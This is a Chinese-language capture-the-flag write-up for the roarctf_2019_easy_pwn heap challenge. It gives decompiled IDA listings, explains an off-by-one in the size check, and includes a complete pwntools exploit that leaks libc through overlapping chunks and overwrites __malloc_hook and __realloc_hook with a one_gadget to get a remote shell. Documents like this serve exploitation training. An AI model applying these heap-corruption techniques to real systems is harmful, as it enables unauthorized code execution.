roarctf_2019_easy_pwn

roarctf_2019_easy_pwn

安全检查

roarctf_2019_easy_pwn_第1张图片
可以劫持malloc_hook

ida查看

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int choice; // [rsp+4h] [rbp-Ch]
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  setvbuf_3();
  while ( 1 )
  {
    menue();
    choice = read_buf(choice);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        add();
        break;
      case 2u:
        puts("Tell me the secret about you!!");
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        show();
        break;
      case 5u:
        return 0LL;
      default:
        puts("Wrong try again!!");
        break;
    }
  }
}

add

__int64 add()
{
  __int64 result; // rax
  int v1; // ST0C_4
  unsigned int i; // [rsp+4h] [rbp-1Ch]
  int v3; // [rsp+8h] [rbp-18h]
  signed int size; // [rsp+8h] [rbp-18h]
  void *note; // [rsp+10h] [rbp-10h]

  result = 0LL;
  for ( i = 0; (signed int)i <= 15; ++i )
  {
    result = *((unsigned int *)&flag_list + 4 * (signed int)i);
    if ( !(_DWORD)result )
    {
      printf("size: ");
      size = read_buf(v3);
      if ( size > 0 )
      {
        if ( size > 0x1000 )
          size = 0x1000;
        note = calloc(size, 1uLL);
        if ( !note )
          exit(-1);
        *((_DWORD *)&flag_list + 4 * (signed int)i) = 1;
        *((_DWORD *)&size_list + 4 * (signed int)i) = size;
        note_list[2 * (signed int)i] = note;
        v1 = note_list[2 * (signed int)i] & 0xFFF;
        printf("the index of ticket is %d \n", i);
      }
      return i;
    }
  }
  return result;
}

edit函数这里存在off by one漏洞,check_size函数里,如果我们edit时传入的size减去add时候的size=10,那么edit函数就会读入add时候的size+1个字节到chunk中。

__int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  signed int flag; // [rsp+Ch] [rbp-14h]
  signed int idx; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]

  printf("index: ");
  flag = read_buf(v1);
  idx = flag;
  if ( flag >= 0 && flag <= 15 )
  {
    flag = *((_DWORD *)&flag_list + 4 * flag);
    if ( flag == 1 )
    {
      printf("size: ");
      flag = read_buf(1);
      v4 = check_size(*((_DWORD *)&size_list + 4 * idx), flag);// off by one
      if ( flag > 0 )
      {
        printf("content: ", (unsigned int)flag);
        flag = read_1_by_1(note_list[2 * idx], v4);
      }
    }
  }
  return (unsigned int)flag;
}
__int64 __fastcall check_size(signed int size, unsigned int our_size)
{
  __int64 result; // rax

  if ( size > (signed int)our_size )
    return our_size;
  if ( our_size - size == 10 )
    LODWORD(result) = size + 1;
  else
    LODWORD(result) = size;
  return (unsigned int)result;
}

delete函数

__int64 delete()
{
  int idx; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  idx = read_buf(v3);
  v4 = idx;
  v2 = idx;
  if ( idx >= 0LL && idx <= 15LL )
  {
    v4 = *((signed int *)&flag_list + 4 * idx);
    if ( v4 == 1 )
    {
      *((_DWORD *)&flag_list + 4 * idx) = 0;
      *((_DWORD *)&size_list + 4 * idx) = 0;
      free((void *)note_list[2 * idx]);
      note_list[2 * v2] = 0LL;
    }
  }
  return v4;
}

show函数 ,使用write函数打印内容,不用担心00截断的问题

__int64 show()
{
  int v1; // [rsp+0h] [rbp-10h]
  signed int flag; // [rsp+0h] [rbp-10h]
  signed int idx; // [rsp+4h] [rbp-Ch]

  printf("index: ");
  flag = read_buf(v1);
  idx = flag;
  if ( flag >= 0 && flag <= 15 )
  {
    flag = *((_DWORD *)&flag_list + 4 * flag);
    if ( flag == 1 )
    {
      printf("content: ");
      flag = write_1_by_1(note_list[2 * idx], *((_DWORD *)&size_list + 4 * idx));
    }
  }
  return (unsigned int)flag;
}

思路

这道题通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改__realloc_hook地址处的内容为one gadget地址,修改malloc_hook地址处的内容为ralloc函数的地址+x,与这个题目l一样萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用

exp

完整exp

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
binary="./roarctf_2019_easy_pwn"
#sh=process(binary)
sh=remote("node3.buuoj.cn",28753)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

cmd=lambda c:sh.sendlineafter("choice: ",str(c))

def add(size):
	cmd(1)
	sh.recvuntil('size: ')
	sh.sendline(str(size))

def edit(idx,size,content):
	cmd(2)
	sh.recvuntil('index: ')
	sh.sendline(str(idx))
	sh.recvuntil('size: ')
	sh.sendline(str(size))
	sh.recvuntil('content: ')
	sh.sendline(content)

def delete(index):
	cmd(3)
	sh.recvuntil('index: ')
	sh.sendline(str(index))
	
def show(index):
	cmd(4)
	sh.recvuntil('index: ')
	sh.sendline(str(index))

malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']
#gdb.attach(sh,"b calloc")
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one 
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check 
delete(1)
add(0x90)#idx1 chunk overlap


edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
delete(2)
show(1)
sh.recvuntil("content: ")
sh.recv(0x20)
libc_base=u64(sh.recv(6).ljust(8,"\x00"))-0x3c4b78
print "libc_base:"+hex(libc_base)

add(0x80)
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
delete(2)
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
add(0x60)
add(0x60)#idx4

one_gadgets=[0x45216,0x4526a,0xf1147]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4)) 
add(0x60)
sh.interactive()

roarctf_2019_easy_pwn_第2张图片

你可能感兴趣的:(pwn)